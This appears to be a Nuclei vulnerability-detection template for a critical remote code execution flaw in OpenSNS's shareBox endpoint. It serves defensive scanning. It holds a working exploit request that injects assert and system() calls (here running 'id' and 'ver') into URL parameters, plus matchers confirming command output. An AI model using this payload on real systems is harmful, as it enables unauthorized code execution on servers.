OpenSNS - Remote Code Execution

ID: opensns-rce

Severity: critical

Author: gy741

Tags: opensns,rce

Description

OpenSNS allows remote unauthenticated attackers to execute arbitrary code via the ‘shareBox’ endpoint.

YAML Source

id: opensns-rce

info:
  name: OpenSNS - Remote Code Execution
  author: gy741
  severity: critical
  description: |
    OpenSNS allows remote unauthenticated attackers to execute arbitrary code via the 'shareBox' endpoint.
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-77
  metadata:
    max-request: 2
  tags: opensns,rce

http:
  - method: GET
    path:
      - '{{BaseURL}}/index.php?s=weibo/Share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[status]=1%26id[method]=Schedule-%3E_validationFieldItem%26id[4]=function%26[6][]=%26id[0]=cmd%26id[1]=assert%26id[args]=cmd=system(ver)'
      - '{{BaseURL}}/index.php?s=weibo/Share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[status]=1%26id[method]=Schedule-%3E_validationFieldItem%26id[4]=function%26[6][]=%26id[0]=cmd%26id[1]=assert%26id[args]=cmd=system(id)'

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "uid=([0-9(a-z)]+)"
          - "Microsoft Windows"
        condition: or

      - type: word
        words:
          - "/Application/"

      - type: status
        status:
          - 200
# digest: 4b0a004830460221008f559094e70163bcb13d587138f0d1485cbb448786e1e11cec6ddcbb210bfc4c022100fde85334adffb7f4c3b3219b25fd7f753995ba00e914308d72f81640cfa35199:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/other/opensns-rce.yaml"

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